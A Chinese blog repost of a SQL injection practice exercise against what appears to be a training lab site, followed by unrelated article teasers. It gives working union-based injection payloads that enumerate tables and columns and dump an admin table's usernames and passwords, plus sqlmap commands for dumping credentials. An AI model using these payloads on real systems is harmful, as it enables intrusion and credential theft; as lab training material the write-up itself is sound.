SQL注入案例

news2024/11/18 23:32:04

目录

一、简介

二、案例

1.发现注入点

2.寻找注入类型

3.寻找字段数

4.将传参值设为超出数据量的大值,联合查询找到回显位置

5.找到数据库

6.寻找库中的表

7.寻找表中列

8.查看表中数据

附:SQLMap注入

1.输入指令查数据库

2.输入指令查表

3.脱库查看账号密码


一、简介

记录SQL注入的案例练习

二、案例

http://pu2lh35s.ia.aqlab.cn/

1.发现注入点

2.寻找注入类型

,发现?id=1 and 1=1 符合

3.寻找字段数

发现字段数为2

4.将传参值设为超出数据量的大值,联合查询找到回显位置

5.找到数据库

6.寻找库中的表

?id=111111 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

7.寻找表中列

?id=111111 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'--+

8.查看表中数据

?id=111111 union select 1,group_concat(username,‘:’,password) from admin--+

注:用 --+ 对结尾进行注释

附:SQLMap注入(sqlmap -u "x")

1.输入指令查数据库( --dbs)

2.输入指令查表( -D xx --tables)

3.脱库查看账号密码( -D xx -T xxx -C xxxx --dump)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/983812.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

利用无头浏览器爬取JavaScript生成的网页

在进行网页爬取时,经常会遇到 JavaScript 生成的网页。由于 JavaScript 的动态渲染特性,传统的爬虫工具往往无法获取完整的页面内容。这时就需要使用无头浏览器来爬取JavaScript生成的网页,以获取所需的数据。 JavaScript生成的网页之所以无法…

华阳半年报!汽车业务「冷热不均」,HUD所属子公司利润大跌

整车智能化赛道竞争日趋白热化。 本周,华阳集团发布2023年度半年报,今年1-6月实现营业收入28.68亿元,较上年同期增长15.39%,实现归属于上市公司股东的净利润1.82亿元,较上年同期增长11.64%。 其中,汽车电子…

下单时如何保证数据一致性?

原创 哪吒 哪吒编程 2023-09-07 08:03 发表于辽宁 收录于合集#Redis11个 (给哪吒编程加星标,提高Java技能) 大家好,我是哪吒。 在前几篇文章中,提到了Redis实现排行榜、Redis数据缓存策略,让我们对Redis…

如何提高抖音直播间的人气(从15个方面为你解答)

抖音直播是一项非常受欢迎的内容创作方式,但是在直播过程中若是没有足够的人气,会让主播感到非常沮丧。如何才能提高抖音直播间的人气呢?本文将从15个方面为你一一解答。 一、打造独特个性的直播形象 在抖音直播中,每一个主播都有…

学校水电能源管理系统

随着社会的发展和经济的增长,学校规模逐渐扩大,能源消耗也不断增加,因此学校水电能源管理系统成为了当今智能化校园建设的重要组成部分。学校水电能源管理系统通过科技手段,实现对学校水电资源的全面监控和管理,不仅能…

OCR训练部署文档

Cuda安装 wget https://developer.download.nvidia.com/compute/cuda/11.6.0/local_installers/cuda_11.6.0_510.39.01_linux.run sh cuda_11.6.0_510.39.01_linux.run#可能会报错,查看/var/log/nvidia-installer.log ,kill -9 [ID]可以解决vim ~/.bash…

FAA批准uAvionix C波段超视距飞行(BVLOS)豁免和Vantis网络

美国联邦航空管理局(FAA)于2023年9月6日在拉斯维加斯的商业无人机博览会上宣布批准uAvionix公司的豁免申请,允许该公司在北达科他州通过使用Vantis指挥与控制系统(C2)和检测与避障(DAA)网络,无需载人即可进行超视距(BVLOS)的无人机系统(UAS)操作。具体而…

视频监控/安防监控/视频云存储EasyCVR平台设备分配模块升级详解

安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台支持将部署在监控现场的前端设备进行统一集中接入,可兼容多协议、多类型设备,管理员可选择任意一路或多路视频实时观看,视频画面支持单画面、多画面显示,视频窗口数量有1、4…

Origin绘制彩色光谱图

成果图 1、双击线条打开如下窗口 2、选择“图案”-》颜色-》按点-》映射-》Wavelength 3、选择颜色映射 4、单击填充-》选择加载调色板-》Rainbow-》确定 5、单击级别,设置成从370到780,右侧增量选择2(越小,颜色渐变越细腻&am…

Three.js开发中遇到的常见问题总结和性能优化

关于Three.js开发中遇到的一些问题总结 1.加载外部模型文件无法在场景中显示: (1) 确保当前文件内容是否能被读取,在Javascript的console中查找错误,并确定当你调用.load()的时候,使用了onError回调函数来输出结果, 如果err 输出则表示当前…

sql_mode详解

文章目录 一、sql_mode作用二、查询sql_mode三、mysql8默认的mode配置(6个默认配置)四、常见mode详细解释mysql8默认配置了的mode(6个)需要自己配置的mode(4个) 五、设置sql_mode(一旦设置了&am…

宠物用品做谷歌推广的三种形式

今天,米贸搜谷歌推广来跟大家讲讲宠物用品做谷歌推广的三种形式! 本文中所提到的三种谷歌推广形式不仅仅适用于宠物用品行业的推广,也同样适用于更多的行业做好谷歌推广哟,如果有别的行业想要知道谷歌推广的三种推广形式&#xff…

使用Cmake编译项目从入门到精通

文章目录 1、安装2、使用CMake生成makefile2.1、项目结构介绍2.2、编写CMakeLists.txt文件2.3、优化写法12.4、给可执行程序设置路径2.5、指定头文件目录2.6、制作库以及使用 3、使用练习 cmake 的特点主要有: 1,开放源代码,使⽤类BSD 许可发…

网络技术二十一:ACL包过滤

ACL包过滤 ACL 定义 访问控制列表 用于数据流的匹配和筛选 常见功能 访问控制:ACLPacket-filter 路由控制:ACLRoute-policy 流量控制:ACLQOS 引入 ACL (Access Control List,访问控制列表)是用来实现数据包识别功能的 ACL可…

知名设计师推荐:2023年Pantone年度年度色彩用法

绘画巨头Pantone已宣布他们2023年的年度色彩。它是Viva品红,一种如此大胆和充满活力的色彩,我们一想到就兴奋不已。 Viva品红:Pantone Color Institute 2023年的年度色彩是明亮、温暖和乐观的。它也是相关的和不可避免的;在经历了…

浙大陈越何钦铭数据结构08-图7 公路村村通【循环和最小堆版】

题目 现有村落间道路的统计数据表中,列出了有可能建设成标准公路的若干条道路的成本,求使每个村落都有公路连通所需要的最低成本。 输入格式: 输入数据包括城镇数目正整数N(≤1000)和候选道路数目M(≤3N)…

.netcore对传输类设置区分大小

.Net Core中内置了对Json的转化与解析 可将PropertyNameCaseInsensitive false 设置为区分大小写。

socket的使用 | 服务器与客户端之间传送数据

服务器端代码: import java.io.*; import java.net.ServerSocket; import java.net.Socket;public class theServer {public static void main(String[] args) throws IOException {ServerSocket serverSocket new ServerSocket(9999); // 该行代码作用&#xff1…

IGES在线查看与转换

IGES 格式最初由美国空军开发并于 1980 年发布。该格式是集成计算机辅助制造 (ICAM) 项目的产品,该项目旨在通过集成操作来降低制造成本。 IGES 文件旨在允许航空航天相关设计在不同平台上传输,同时将数据丢失降至最低。 在 IGES 格式出现之前,不同公司创建的 CAD 和计算机…

PPT怎么转换为PDF格式,收藏这两个在线工具。

PPT是一种常用的演示文稿格式,它可以包含丰富的动画效果和超链接,让你的内容更加生动和有趣。但是,如果你想将PPT分享给别人,或者在不同的设备上查看,你可能会遇到一些问题,比如: PPT文件太大&a…